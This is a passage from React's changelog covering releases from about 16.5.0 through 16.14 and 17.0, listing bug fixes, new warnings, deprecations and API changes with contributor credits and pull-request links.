2020)\n\n### React\n\n* Add support for the [new JSX transform](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html). ([@lunaruan](https://github.com/lunaruan) in [#18299](https://github.com/facebook/react/pull/18299))\n\n## 16.13.1 (March 19, 2020)\n\n### React DOM\n\n* Fix bug in legacy mode Suspense where effect clean-up functions are not fired. This only affects users who use Suspense for data fetching in legacy mode, which is not technically supported. ([@acdlite](https://github.com/acdlite) in [#18238](https://github.com/facebook/react/pull/18238))\n* Revert warning for cross-component updates that happen inside class render lifecycles (`componentWillReceiveProps`, `shouldComponentUpdate`, and so on). ([@gaearon](https://github.com/gaearon) in [#18330](https://github.com/facebook/react/pull/18330))\n\n## 16.13.0 (February 26, 2020)\n\n### React\n\n* Warn when a string ref is used in a manner that's not amenable to a future codemod ([@lunaruan](https://github.com/lunaruan) in [#17864](https://github.com/facebook/react/pull/17864))\n* Deprecate `React.createFactory()` ([@trueadm](https://github.com/trueadm) in [#17878](https://github.com/facebook/react/pull/17878))\n\n### React DOM\n\n* Warn when changes in `style` may cause an unexpected collision ([@sophiebits](https://github.com/sophiebits) in [#14181](https://github.com/facebook/react/pull/14181), [#18002](https://github.com/facebook/react/pull/18002))\n* Warn when a function component is updated during another component's render phase ([@acdlite](https://github.com/acdlite) in [#17099](https://github.com/facebook/react/pull/17099))\n* Deprecate `unstable_createPortal` ([@trueadm](https://github.com/trueadm) in [#17880](https://github.com/facebook/react/pull/17880))\n* Fix `onMouseEnter` being fired on disabled buttons ([@AlfredoGJ](https://github.com/AlfredoGJ) in [#17675](https://github.com/facebook/react/pull/17675))\n* Call `shouldComponentUpdate` twice when developing in `StrictMode` ([@bvaughn](https://github.com/bvaughn) in [#17942](https://github.com/facebook/react/pull/17942))\n* Add `version` property to ReactDOM ([@ealush](https://github.com/ealush) in [#15780](https://github.com/facebook/react/pull/15780))\n* Don't call `toString()` of `dangerouslySetInnerHTML` ([@sebmarkbage](https://github.com/sebmarkbage) in [#17773](https://github.com/facebook/react/pull/17773))\n* Show component stacks in more warnings ([@gaearon](https://github.com/gaearon) in [#17922](https://github.com/facebook/react/pull/17922), [#17586](https://github.com/facebook/react/pull/17586))\n\n### Concurrent Mode (Experimental)\n\n* Warn for problematic usages of `ReactDOM.createRoot()` ([@trueadm](https://github.com/trueadm) in [#17937](https://github.com/facebook/react/pull/17937))\n* Remove `ReactDOM.createRoot()` callback params and added warnings on usage ([@bvaughn](https://github.com/bvaughn) in [#17916](https://github.com/facebook/react/pull/17916))\n* Don't group Idle/Offscreen work with other work ([@sebmarkbage](https://github.com/sebmarkbage) in [#17456](https://github.com/facebook/react/pull/17456))\n* Adjust `SuspenseList` CPU bound heuristic ([@sebmarkbage](https://github.com/sebmarkbage) in [#17455](https://github.com/facebook/react/pull/17455))\n* Add missing event plugin priorities ([@trueadm](https://github.com/trueadm) in [#17914](https://github.com/facebook/react/pull/17914))\n* Fix `isPending` only being true when transitioning from inside an input event ([@acdlite](https://github.com/acdlite) in [#17382](https://github.com/facebook/react/pull/17382))\n* Fix `React.memo` components dropping updates when interrupted by a higher priority update ([@acdlite]((https://github.com/acdlite)) in [#18091](https://github.com/facebook/react/pull/18091))\n* Don't warn when suspending at the wrong priority ([@gaearon](https://github.com/gaearon) in [#17971](https://github.com/facebook/react/pull/17971))\n* Fix a bug with rebasing updates ([@acdlite](https://github.com/acdlite) and [@sebmarkbage](https://github.com/sebmarkbage) in [#17560](https://github.com/facebook/react/pull/17560), [#17510](https://github.com/facebook/react/pull/17510), [#17483](https://github.com/facebook/react/pull/17483), [#17480](https://github.com/facebook/react/pull/17480))\n\n## 16.12.0 (November 14, 2019)\n\n### React DOM\n\n* Fix passive effects (`useEffect`) not being fired in a multi-root app. ([@acdlite](https://github.com/acdlite) in [#17347](https://github.com/facebook/react/pull/17347))\n\n### React Is\n\n* Fix `lazy` and `memo` types considered elements instead of components ([@bvaughn](https://github.com/bvaughn) in [#17278](https://github.com/facebook/react/pull/17278))\n\n## 16.11.0 (October 22, 2019)\n\n### React DOM\n\n* Fix `mouseenter` handlers from firing twice inside nested React containers. [@yuanoook](https://github.com/yuanoook) in [#16928](https://github.com/facebook/react/pull/16928)\n* Remove `unstable_createRoot` and `unstable_createSyncRoot` experimental APIs. (These are available in the Experimental channel as `createRoot` and `createSyncRoot`.) ([@acdlite](http://github.com/acdlite) in [#17088](https://github.com/facebook/react/pull/17088))\n\n## 16.10.2 (October 3, 2019)\n\n### React DOM\n\n* Fix regression in react-native-web by restoring order of arguments in event plugin extractors ([@necolas](https://github.com/necolas) in [#16978](https://github.com/facebook/react/pull/16978))\n\n## 16.10.1 (September 28, 2019)\n\n### React DOM\n\n* Fix regression in Next.js apps by allowing Suspense mismatch during hydration to silently proceed ([@sebmarkbage](https://github.com/sebmarkbage) in [#16943](https://github.com/facebook/react/pull/16943))\n\n## 16.10.0 (September 27, 2019)\n\n### React DOM\n\n* Fix edge case where a hook update wasn't being memoized. ([@sebmarkbage](http://github.com/sebmarkbage) in [#16359](https://github.com/facebook/react/pull/16359))\n* Fix heuristic for determining when to hydrate, so we don't incorrectly hydrate during an update. ([@sebmarkbage](http://github.com/sebmarkbage) in [#16739](https://github.com/facebook/react/pull/16739))\n* Clear additional fiber fields during unmount to save memory. ([@trueadm](http://github.com/trueadm) in [#16807](https://github.com/facebook/react/pull/16807))\n* Fix bug with required text fields in Firefox. ([@halvves](http://github.com/halvves) in [#16578](https://github.com/facebook/react/pull/16578))\n* Prefer `Object.is` instead of inline polyfill, when available. ([@ku8ar](http://github.com/ku8ar) in [#16212](https://github.com/facebook/react/pull/16212))\n* Fix bug when mixing Suspense and error handling. ([@acdlite](http://github.com/acdlite) in [#16801](https://github.com/facebook/react/pull/16801))\n\n\n### Scheduler (Experimental)\n\n* Improve queue performance by switching its internal data structure to a min binary heap. ([@acdlite](http://github.com/acdlite) in [#16245](https://github.com/facebook/react/pull/16245))\n* Use `postMessage` loop with short intervals instead of attempting to align to frame boundaries with `requestAnimationFrame`. ([@acdlite](http://github.com/acdlite) in [#16214](https://github.com/facebook/react/pull/16214))\n\n### useSubscription\n\n* Avoid tearing issue when a mutation happens and the previous update is still in progress. ([@bvaughn](http://github.com/bvaughn) in [#16623](https://github.com/facebook/react/pull/16623))\n\n## 16.9.0 (August 8, 2019)\n\n### React\n\n* Add `<React.Profiler>` API for gathering performance measurements programmatically. ([@bvaughn](https://github.com/bvaughn) in [#15172](https://github.com/facebook/react/pull/15172))\n* Remove `unstable_ConcurrentMode` in favor of `unstable_createRoot`. ([@acdlite](https://github.com/acdlite) in [#15532](https://github.com/facebook/react/pull/15532))\n\n### React DOM\n\n* Deprecate old names for the `UNSAFE_*` lifecycle methods. ([@bvaughn](https://github.com/bvaughn) in [#15186](https://github.com/facebook/react/pull/15186) and [@threepointone](https://github.com/threepointone) in [#16103](https://github.com/facebook/react/pull/16103))\n* Deprecate `javascript:` URLs as a common attack surface. ([@sebmarkbage](https://github.com/sebmarkbage) in [#15047](https://github.com/facebook/react/pull/15047))\n* Deprecate uncommon \"module pattern\" (factory) components. ([@sebmarkbage](https://github.com/sebmarkbage) in [#15145](https://github.com/facebook/react/pull/15145))\n* Add support for the `disablePictureInPicture` attribute on `<video>`. ([@eek](https://github.com/eek) in [#15334](https://github.com/facebook/react/pull/15334))\n* Add support for `onLoad` event for `<embed>`. ([@cherniavskii](https://github.com/cherniavskii) in [#15614](https://github.com/facebook/react/pull/15614))\n* Add support for editing `useState` state from DevTools. ([@bvaughn](https://github.com/bvaughn) in [#14906](https://github.com/facebook/react/pull/14906))\n* Add support for toggling Suspense from DevTools. ([@gaearon](https://github.com/gaearon) in [#15232](https://github.com/facebook/react/pull/15232))\n* Warn when `setState` is called from `useEffect`, creating a loop. ([@gaearon](https://github.com/gaearon) in [#15180](https://github.com/facebook/react/pull/15180))\n* Fix a memory leak. ([@paulshen](https://github.com/paulshen) in [#16115](https://github.com/facebook/react/pull/16115))\n* Fix a crash inside `findDOMNode` for components wrapped in `<Suspense>`. ([@acdlite](https://github.com/acdlite) in [#15312](https://github.com/facebook/react/pull/15312))\n* Fix pending effects from being flushed too late. ([@acdlite](https://github.com/acdlite) in [#15650](https://github.com/facebook/react/pull/15650))\n* Fix incorrect argument order in a warning message. ([@brickspert](https://github.com/brickspert) in [#15345](https://github.com/facebook/react/pull/15345))\n* Fix hiding Suspense fallback nodes when there is an `!important` style. ([@acdlite](https://github.com/acdlite) in [#15861](https://github.com/facebook/react/pull/15861) and [#15882](https://github.com/facebook/react/pull/15882))\n* Slightly improve hydration performance. ([@bmeurer](https://github.com/bmeurer) in [#15998](https://github.com/facebook/react/pull/15998))\n\n### React DOM Server\n\n* Fix incorrect output for camelCase custom CSS property names. ([@bedakb](https://github.com/bedakb) in [#16167](https://github.com/facebook/react/pull/16167))\n\n### React Test Utilities and Test Renderer\n\n* Add `act(async () => ...)` for testing asynchronous state updates. ([@threepointone](https://github.com/threepointone) in [#14853](https://github.com/facebook/react/pull/14853))\n* Add support for nesting `act` from different renderers. ([@threepointone](https://github.com/threepointone) in [#16039](https://github.com/facebook/react/pull/16039) and [#16042](https://github.com/facebook/react/pull/16042))\n* Warn in Strict Mode if effects are scheduled outside an `act()` call. ([@threepointone](https://github.com/threepointone) in [#15763](https://github.com/facebook/react/pull/15763) and [#16041](https://github.com/facebook/react/pull/16041))\n* Warn when using `act` from the wrong renderer. ([@threepointone](https://github.com/threepointone) in [#15756](https://github.com/facebook/react/pull/15756))\n\n### ESLint Plugin: React Hooks\n\n* Report Hook calls at the top level as a violation. ([gaearon](https://github.com/gaearon) in [#16455](https://github.com/facebook/react/pull/16455))\n\n## 16.8.6 (March 27, 2019)\n\n### React DOM\n\n* Fix an incorrect bailout in `useReducer()`. ([@acdlite](https://github.com/acdlite) in [#15124](https://github.com/facebook/react/pull/15124))\n* Fix iframe warnings in Safari DevTools. ([@renanvalentin](https://github.com/renanvalentin) in [#15099](https://github.com/facebook/react/pull/15099))\n* Warn if `contextType` is set to `Context.Consumer` instead of `Context`. ([@aweary](https://github.com/aweary) in [#14831](https://github.com/facebook/react/pull/14831))\n* Warn if `contextType` is set to invalid values. ([@gaearon](https://github.com/gaearon) in [#15142](https://github.com/facebook/react/pull/15142))\n\n## 16.8.5 (March 22, 2019)\n\n### React DOM\n\n* Don't set the first option as selected in select tag with `size` attribute. ([@kulek1](https://github.com/kulek1) in [#14242](https://github.com/facebook/react/pull/14242))\n* Improve the `useEffect(async () => ...)` warning message. ([@gaearon](https://github.com/gaearon) in [#15118](https://github.com/facebook/react/pull/15118))\n* Improve the error message sometimes caused by duplicate React. ([@jaredpalmer](https://github.com/jaredpalmer) in [#15139](https://github.com/facebook/react/pull/15139))\n\n### React DOM Server\n\n* Improve the `useLayoutEffect` warning message when server rendering. ([@gaearon](https://github.com/gaearon) in [#15158](https://github.com/facebook/react/pull/15158))\n\n### React Shallow Renderer\n\n* Fix `setState` in shallow renderer to work with Hooks. ([@gaearon](https://github.com/gaearon) in [#15120](https://github.com/facebook/react/pull/15120))\n* Fix shallow renderer to support `React.memo`. ([@aweary](https://github.com/aweary) in [#14816](https://github.com/facebook/react/pull/14816))\n* Fix shallow renderer to support Hooks inside `forwardRef`. ([@eps1lon](https://github.com/eps1lon) in [#15100](https://github.com/facebook/react/pull/15100))\n\n## 16.8.4 (March 5, 2019)\n\n### React DOM and other renderers\n\n- Fix a bug where DevTools caused a runtime error when inspecting a component that used a `useContext` hook. ([@bvaughn](https://github.com/bvaughn) in [#14940](https://github.com/facebook/react/pull/14940))\n\n## 16.8.3 (February 21, 2019)\n\n### React DOM\n\n* Fix a bug that caused inputs to behave incorrectly in UMD builds. ([@gaearon](https://github.com/gaearon) in [#14914](https://github.com/facebook/react/pull/14914))\n* Fix a bug that caused render phase updates to be discarded. ([@gaearon](https://github.com/gaearon) in [#14852](https://github.com/facebook/react/pull/14852))\n\n### React DOM Server\n* Unwind the context stack when a stream is destroyed without completing, to prevent incorrect values during a subsequent render. ([@overlookmotel](https://github.com/overlookmotel) in [#14706](https://github.com/facebook/react/pull/14706/))\n\n### ESLint Plugin for React Hooks\n\n* Add a new recommended `exhaustive-deps` rule. ([@gaearon](https://github.com/gaearon) in [#14636](https://github.com/facebook/react/pull/14636))\n\n## 16.8.2 (February 14, 2019)\n\n### React DOM\n\n* Fix `ReactDOM.render` being ignored inside `useEffect`. ([@gaearon](https://github.com/gaearon) in [#14799](https://github.com/facebook/react/pull/14799))\n* Fix a crash when unmounting empty portals. ([@gaearon](https://github.com/gaearon) in [#14820](https://github.com/facebook/react/pull/14820))\n* Fix `useImperativeHandle` to work correctly when no deps are specified. ([@gaearon](https://github.com/gaearon) in [#14801](https://github.com/facebook/react/pull/14801))\n* Fix `crossOrigin` attribute to work in SVG `image` elements. ([@aweary](https://github.com/aweary) in [#14832](https://github.com/facebook/react/pull/14832))\n* Fix a false positive warning when using Suspense with Hooks. ([@gaearon](https://github.com/gaearon) in [#14821](https://github.com/facebook/react/pull/14821))\n\n### React Test Utils and React Test Renderer\n\n* Include component stack into the `act()` warning. ([@threepointone](https://github.com/threepointone) in [#14855](https://github.com/facebook/react/pull/14855))\n\n## 16.8.1 (February 6, 2019)\n\n### React DOM and React Test Renderer\n\n* Fix a crash when used together with an older version of React. ([@bvaughn](https://github.com/bvaughn) in [#14770](https://github.com/facebook/react/pull/14770))\n\n### React Test Utils\n\n* Fix a crash in Node environment. ([@threepointone](https://github.com/threepointone) in [#14768](https://github.com/facebook/react/pull/14768))\n\n## 16.8.0 (February 6, 2019)\n\n### React\n\n* Add [Hooks](https://reactjs.org/docs/hooks-intro.html) — a way to use state and other React features without writing a class. ([@acdlite](https://github.com/acdlite) et al. in [#13968](https://github.com/facebook/react/pull/13968))\n* Improve the `useReducer` Hook lazy initialization API. ([@acdlite](https://github.com/acdlite) in [#14723](https://github.com/facebook/react/pull/14723))\n\n### React DOM\n\n* Bail out of rendering on identical values for `useState` and `useReducer` Hooks. ([@acdlite](https://github.com/acdlite) in [#14569](https://github.com/facebook/react/pull/14569))\n* Use `Object.is` algorithm for comparing `useState` and `useReducer` values. ([@Jessidhia](https://github.com/Jessidhia) in [#14752](https://github.com/facebook/react/pull/14752))\n* Don’t compare the first argument passed to `useEffect`/`useMemo`/`useCallback` Hooks. ([@acdlite](https://github.com/acdlite) in [#14594](https://github.com/facebook/react/pull/14594))\n* Support synchronous thenables passed to `React.lazy()`. ([@gaearon](https://github.com/gaearon) in [#14626](https://github.com/facebook/react/pull/14626))\n* Render components with Hooks twice in Strict Mode (DEV-only) to match class behavior. ([@gaearon](https://github.com/gaearon) in [#14654](https://github.com/facebook/react/pull/14654))\n* Warn about mismatching Hook order in development. ([@threepointone](https://github.com/threepointone) in [#14585](https://github.com/facebook/react/pull/14585) and [@acdlite](https://github.com/acdlite) in [#14591](https://github.com/facebook/react/pull/14591))\n* Effect clean-up functions must return either `undefined` or a function. All other values, including `null`, are not allowed. [@acdlite](https://github.com/acdlite) in [#14119](https://github.com/facebook/react/pull/14119)\n\n### React Test Renderer and Test Utils\n\n* Support Hooks in the shallow renderer. ([@trueadm](https://github.com/trueadm) in [#14567](https://github.com/facebook/react/pull/14567))\n* Fix wrong state in `shouldComponentUpdate` in the presence of `getDerivedStateFromProps` for Shallow Renderer. ([@chenesan](https://github.com/chenesan) in [#14613](https://github.com/facebook/react/pull/14613))\n* Add `ReactTestRenderer.act()` and `ReactTestUtils.act()` for batching updates so that tests more closely match real behavior. ([@threepointone](https://github.com/threepointone) in [#14744](https://github.com/facebook/react/pull/14744))\n\n\n### ESLint Plugin: React Hooks\n\n* Initial [release](https://www.npmjs.com/package/eslint-plugin-react-hooks). ([@calebmer](https://github.com/calebmer) in [#13968](https://github.com/facebook/react/pull/13968))\n* Fix reporting after encountering a loop. ([@calebmer](https://github.com/calebmer) and [@Yurickh](https://github.com/Yurickh) in [#14661](https://github.com/facebook/react/pull/14661))\n* Don't consider throwing to be a rule violation. ([@sophiebits](https://github.com/sophiebits) in [#14040](https://github.com/facebook/react/pull/14040))\n\n## 16.7.0 (December 19, 2018)\n\n### React DOM\n\n* Fix performance of `React.lazy` for large numbers of lazily-loaded components. ([@acdlite](http://github.com/acdlite) in [#14429](https://github.com/facebook/react/pull/14429))\n* Clear fields on unmount to avoid memory leaks. ([@trueadm](http://github.com/trueadm) in [#14276](https://github.com/facebook/react/pull/14276))\n* Fix bug with SSR and context when mixing `react-dom/server@16.6` and `react@<16.6`. ([@gaearon](http://github.com/gaearon) in [#14291](https://github.com/facebook/react/pull/14291))\n* Fix a performance regression in profiling mode. ([@bvaughn](http://github.com/bvaughn) in [#14383](https://github.com/facebook/react/pull/14383))\n\n### Scheduler (Experimental)\n\n* Post to MessageChannel instead of window. ([@acdlite](http://github.com/acdlite) in [#14234](https://github.com/facebook/react/pull/14234))\n* Reduce serialization overhead. ([@developit](http://github.com/developit) in [#14249](https://github.com/facebook/react/pull/14249))\n* Fix fallback to `setTimeout` in testing environments. ([@bvaughn](http://github.com/bvaughn) in [#14358](https://github.com/facebook/react/pull/14358))\n* Add methods for debugging. ([@mrkev](http://github.com/mrkev) in [#14053](https://github.com/facebook/react/pull/14053))\n\n\n## 16.6.3 (November 12, 2018)\n\n### React DOM\n\n* Fix bugs in `Suspense` and `lazy`. ([@acdlite](https://github.com/acdlite) in [#14133](https://github.com/facebook/react/pull/14133), [#14157](https://github.com/facebook/react/pull/14157), and [#14164](https://github.com/facebook/react/pull/14164))\n* Fix highlighting of `React.memo` updates in React DevTools. ([@bvaughn](https://github.com/bvaughn) in [#14141](https://github.com/facebook/react/pull/14141))\n* Fix interaction of Suspense with the React Profiler. ([@bvaughn](https://github.com/bvaughn) in [#14065](https://github.com/facebook/react/pull/14065))\n* Fix a false positive warning when using Suspense. ([@acdlite](https://github.com/acdlite) in [#14158](https://github.com/facebook/react/pull/14158))\n\n### React DOM Server\n\n* Fix incorrect sharing of context state between `renderToNodeStream()` calls. ([@sebmarkbage](https://github.com/sebmarkbage) in [#14182](https://github.com/facebook/react/pull/14182))\n* Add a warning about incorrect usage of the context API. ([@trueadm](https://github.com/trueadm) in [#14033](https://github.com/facebook/react/pull/14033))\n\n## 16.6.2 (November 12, 2018)\n\nThis release was published in a broken state and should be skipped.\n\n## 16.6.1 (November 6, 2018)\n\n### React DOM\n\n* Fallback should not remount every time a promise resolves. ([@acdlite](https://github.com/acdlite) in [#14083](https://github.com/facebook/react/pull/14083))\n* Fix bug where Suspense keeps showing fallback even after everything finishes loading. ([@acdlite](https://github.com/acdlite) in [#14083](https://github.com/facebook/react/pull/14083))\n* Fix a crash when Suspense finishes loading in IE11. ([@sophiebits](https://github.com/sophiebits) in [#14126](https://github.com/facebook/react/pull/14126))\n* Fix unresolved default props in lifecycle methods of a lazy component. ([@gaearon](https://github.com/gaearon) in [#14112](https://github.com/facebook/react/pull/14112))\n* Fix bug when recovering from an error thrown during complete phase. ([@gaearon](https://github.com/gaearon) in [#14104](https://github.com/facebook/react/pull/14104))\n\n### Scheduler (Experimental)\n\n* Switch from deadline object to `shouldYield` API. ([@acdlite](https://github.com/acdlite) in [#14025](https://github.com/facebook/react/pull/14025))\n\n\n## 16.6.0 (October 23, 2018)\n\n### React\n\n* Add `React.memo()` as an alternative to `PureComponent` for functions. ([@acdlite](https://github.com/acdlite) in [#13748](https://github.com/facebook/react/pull/13748))\n* Add `React.lazy()` for code splitting components. ([@acdlite](https://github.com/acdlite) in [#13885](https://github.com/facebook/react/pull/13885))\n* `React.StrictMode` now warns about legacy context API. ([@bvaughn](https://github.com/bvaughn) in [#13760](https://github.com/facebook/react/pull/13760))\n* `React.StrictMode` now warns about `findDOMNode`. ([@sebmarkbage](https://github.com/sebmarkbage) in [#13841](https://github.com/facebook/react/pull/13841))\n* Rename `unstable_AsyncMode` to `unstable_ConcurrentMode`. ([@trueadm](https://github.com/trueadm) in [#13732](https://github.com/facebook/react/pull/13732))\n* Rename `unstable_Placeholder` to `Suspense`, and `delayMs` to `maxDuration`. ([@gaearon](https://github.com/gaearon) in [#13799](https://github.com/facebook/react/pull/13799) and [@sebmarkbage](https://github.com/sebmarkbage) in [#13922](https://github.com/facebook/react/pull/13922))\n\n### React DOM\n\n* Add `contextType` as a more ergonomic way to subscribe to context from a class. ([@bvaughn](https://github.com/bvaughn) in [#13728](https://github.com/facebook/react/pull/13728))\n* Add `getDerivedStateFromError` lifecycle method for catching errors in a future asynchronous server-side renderer. ([@bvaughn](https://github.com/bvaughn) in [#13746](https://github.com/facebook/react/pull/13746))\n* Warn when `<Context>` is used instead of `<Context.Consumer>`. ([@trueadm](https://github.com/trueadm) in [#13829](https://github.com/facebook/react/pull/13829))\n* Fix gray overlay on iOS Safari. ([@philipp-spiess](https://github.com/philipp-spiess) in [#13778](https://github.com/facebook/react/pull/13778))\n* Fix a bug caused by overwriting `window.event` in development. ([@sergei-startsev](https://github.com/sergei-startsev) in [#13697](https://github.com/facebook/react/pull/13697))\n\n### React DOM Server\n\n* Add support for `React.memo()`. ([@alexmckenley](https://github.com/alexmckenley) in [#13855](https://github.com/facebook/react/pull/13855))\n* Add support for `contextType`. ([@alexmckenley](https://github.com/alexmckenley) and [@sebmarkbage](https://github.com/sebmarkbage) in [#13889](https://github.com/facebook/react/pull/13889))\n\n### Scheduler (Experimental)\n\n* Rename the package to `scheduler`. ([@gaearon](https://github.com/gaearon) in [#13683](https://github.com/facebook/react/pull/13683))\n* Support priority levels, continuations, and wrapped callbacks. ([@acdlite](https://github.com/acdlite) in [#13720](https://github.com/facebook/react/pull/13720) and [#13842](https://github.com/facebook/react/pull/13842))\n* Improve the fallback mechanism in non-DOM environments. ([@acdlite](https://github.com/acdlite) in [#13740](https://github.com/facebook/react/pull/13740))\n* Schedule `requestAnimationFrame` earlier. ([@acdlite](https://github.com/acdlite) in [#13785](https://github.com/facebook/react/pull/13785))\n* Fix the DOM detection to be more thorough. ([@trueadm](https://github.com/trueadm) in [#13731](https://github.com/facebook/react/pull/13731))\n* Fix bugs with interaction tracing. ([@bvaughn](https://github.com/bvaughn) in [#13590](https://github.com/facebook/react/pull/13590))\n* Add the `envify` transform to the package. ([@mridgway](https://github.com/mridgway) in [#13766](https://github.com/facebook/react/pull/13766))\n\n## 16.5.2 (September 18, 2018)\n\n### React DOM\n\n* Fixed a recent `<iframe>` regression ([@JSteunou](https://github.com/JSteunou) in [#13650](https://github.com/facebook/react/pull/13650))\n* Fix `updateWrapper` so that `<textarea>`s no longer re-render when data is unchanged ([@joelbarbosa](https://github.com/joelbarbosa) in [#13643](https://github.com/facebook/react/pull/13643))\n\n### Schedule (Experimental)\n\n* Renaming \"tracking\" API to \"tracing\" ([@bvaughn](https://github.com/bvaughn) in [#13641](https://github.com/facebook/react/pull/13641))\n* Add UMD production+profiling entry points ([@bvaughn](https://github.com/bvaughn) in [#13642](https://github.com/facebook/react/pull/13642))\n* Refactored `schedule` to remove some React-isms and improve performance for when deferred updates time out ([@acdlite](https://github.com/acdlite) in [#13582](https://github.com/facebook/react/pull/13582))\n\n## 16.5.1 (September 13, 2018)\n\n### React\n\n* Improve the warning when `React.forwardRef` receives an unexpected number of arguments. ([@andresroberto](https://github.com/andresroberto) in [#13636](https://github.com/facebook/react/issues/13636))\n\n### React DOM\n\n* Fix a regression in unstable exports used by React Native Web. ([@aweary](https://github.com/aweary) in [#13598](https://github.com/facebook/react/issues/13598))\n* Fix a crash when component defines a method called `isReactComponent`. ([@gaearon](https://github.com/gaearon) in [#13608](https://github.com/facebook/react/issues/13608))\n* Fix a crash in development mode in IE9 when printing a warning. ([@link-alex](https://github.com/link-alex) in [#13620](https://github.com/facebook/react/issues/13620))\n* Provide a better error message when running `react-dom/profiling` with `schedule/tracking`. ([@bvaughn](https://github.com/bvaughn) in [#13605](https://github.com/facebook/react/issues/13605))\n* If a `ForwardRef` component defines a `displayName`, use it in warnings. ([@probablyup](https://github.com/probablyup) in [#13615](https://github.com/facebook/react/issues/13615))\n\n### Schedule (Experimental)\n\n* Add a separate profiling entry point at `schedule/tracking-profiling`. ([@bvaughn](https://github.com/bvaughn) in [#13605](https://github.com/facebook/react/issues/13605))\n\n## 16.5.0 (September 5, 2018)\n\n### React\n\n* Add a warning if `React.forwardRef` render function doesn't take exactly two arguments ([@bvaughn](https://github.com/bvaughn) in [#13168](https://github.com/facebook/react/issues/13168))\n* Improve the error message when passing an element to `createElement` by mistake ([@DCtheTall](https://github.com/DCtheTall) in [#13131](https://github.com/facebook/react/issues/13131))\n* Don't call profiler `onRender` until after mutations ([@bvaughn](https://github.com/bvaughn) in [#13572](https://github.com/facebook/react/issues/13572))\n\n### React DOM\n\n* Add support for React DevTools Profiler ([@bvaughn](https://github.com/bvaughn) in [#13058](https://github.com/facebook/react/issues/13058))\n* Add `react-dom/profiling` entry point alias for profiling in production ([@bvaughn](https://github.com/bvaughn) in [#13570](https://github.com/facebook/react/issues/13570))\n* Add `onAuxClick` event for browsers that support it ([@jquense](https://github.com/jquense) in [#11571](https://github.com/facebook/react/issues/11571))\n* Add `movementX` and `movementY` fields to mouse events ([@jasonwilliams](https://github.com/jasonwilliams) in [#9018](https://github.com/facebook/react/issues/9018))\n* Add `tangentialPressure` and `twist` fields to pointer events ([@motiz88](https://github.com/motiz88) in [#13374](https://github.com/facebook/react/issues/13374))\n* Minimally support iframes (nested browsing contexts) in selection event handling ([@acusti](https://github.com/acusti) in [#12037](https://github.com/facebook/react/issues/12037))\n* Support passing booleans to the `focusable` SVG attribute ([@gaearon](https://github.com/gaearon) in [#13339](https://github.com/facebook/react/issues/13339))\n* Ignore `<noscript>` on the client when hydrating ([@Ephem](https://github.com/Ephem) in [#13537](https://github.com/facebook/react/issues/13537))\n* Fix `gridArea` to be treated as a unitless CSS property ([@mgol](https://github.com/mgol) in [#13550](https://github.com/facebook/react/issues/13550))\n* Fix incorrect data in `compositionend` event when typing Korean on IE11 ([@crux153](https://github.com/crux153) in [#12563](https://github.com/facebook/react/issues/12563))\n* Fix a crash when using dynamic `children` in the `<option>` tag ([@Slowyn](https://github.com/Slowyn) in [#13261](https://github.com/facebook/react/issues/13261), [@gaearon](https://github.com/gaearon) in [#13465](https://github.com/facebook/react/pull/13465))\n* Fix the `checked` attribute not getting initially set on the `input` ([@dilidili](https://github.com/dilidili) in [#13114](https://github.com/facebook/react/issues/13114))\n* Fix hydration of `dangerouslySetInnerHTML` when `__html` is not a string ([@gaearon](https://github.com/gaearon) in [#13353](https://github.com/facebook/react/issues/13353))\n* Fix a warning about missing controlled `onChange` to fire on falsy values too ([@nicolevy](https://github.com/nicolevy) in [#12628](https://github.com/facebook/react/issues/12628))\n* Fix `submit` and `reset` buttons getting an empty label ([@ellsclytn](https://github.com/ellsclytn) in [#12780](https://github.com/facebook/react/issues/12780))\n* Fix the `onSelect` event not being triggered after drag and drop ([@gaearon](https://github.com/gaearon) in [#13422](https://github.com/facebook/react/issues/13422))\n* Fix the `onClick` event not working inside a portal on iOS ([@aweary](https://github.com/aweary) in [#11927](https://github.com/facebook/react/issues/11927))\n* Fix a performance issue when thousands of roots are re-rendered ([@gaearon](https://github.com/gaearon) in [#13335](https://github.com/facebook/react/issues/13335))\n* Fix a performance regression that also caused `onChange` to not fire in some cases ([@gaearon](https://github.com/gaearon) in [#13423](https://github.com/facebook/react/issues/13423))\n* Handle errors in more edge cases gracefully ([@gaearon](https://github.com/gaearon) in [#13237](https://github.com/facebook/react/issues/13237) and [@acdlite](https://github.com/acdlite) in [#13269](https://github.com/facebook/react/issues/13269))\n* Don't use proxies for synthetic events in development ([@gaearon](https://github.com/gaearon) in [#12171](https://github.com/facebook/react/issues/12171))\n* Warn when `\"false\"` or `\"true\"` is the value of a boolean DOM prop ([@motiz88](https://github.com/motiz88) in [#13372](https://github.com/facebook/react/issues/13372))\n* Warn when `this.state` is initialized to `props` ([@veekas](https://github.com/veekas) in [#11658](https://github.com/facebook/react/issues/11658))\n* Don't compare `style` on hydration in IE due to noisy false positives ([@mgol](https://github.com/mgol) in [#13534](https://github.com/facebook/react/issues/13534))\n* Include `StrictMode` in the component stack ([@gaearon](https://github.com/gaearon) in [#13240](https://github.com/facebook/react/issues/13240))\n* Don't overwrite `window.event` in IE ([@ConradIrwin](https://github.com/ConradIrwin) in [#11696](https://github.com/facebook/react/issues/11696))\n* Improve component stack for the `folder/index.js` naming convention ([@gaearon](https://github.com/gaearon) in [#12059](https://github.com/facebook/react/issues/12059))\n* Improve a warning when using `getDerivedStateFromProps` without initialized state ([@flxwu](https://github.com/flxwu) in [#13317](https://github.com/facebook/react/issues/13317))\n* Improve a warning about invalid textarea usage ([@raunofreiberg](https://github.com/raunofreiberg) in [#13361](https://github.com/facebook/react/issues/13361))\n* Treat invalid Symbol and function values more consistently ([@raunofreiberg](https://github.com/raunofreiberg) in [#13362](https://github.com/facebook/react/issues/13362) and [#13389](https://github.com/facebook/react/issues/13389))\n* Allow Electron `<webview>` tag without warnings ([@philipp-spiess](https://github.com/philipp-spiess) in [#13301](https://github.com/facebook/react/issues/13301))\n* Don't show the uncaught error addendum if `e.preventDefault()` was called ([@gaearon](https://github.com/gaearon) in [#13384](https://github.com/facebook/react/issues/13384))\n* Warn about rendering Generators ([@gaearon](https://github.com/gaearon) in [#13312](https://github.com/facebook/react/issues/13312))\n* Remove irrelevant suggestion of a legacy method from a warning ([@zx6658](https://github.com/zx6658) in [#13169](https://github.com/facebook/react/issues/13169))\n* Remove `unstable_deferredUpdates` in favor of `unstable_scheduleWork` from `schedule` ([@gaearon](https://github.com/gaearon) in [#13488](https://github.com/facebook/react/issues/13488))\n* Fix unstable asynchronous mode from doing unnecessary work when an update takes too long ([@acdlite](https://github.com/acdlite) in 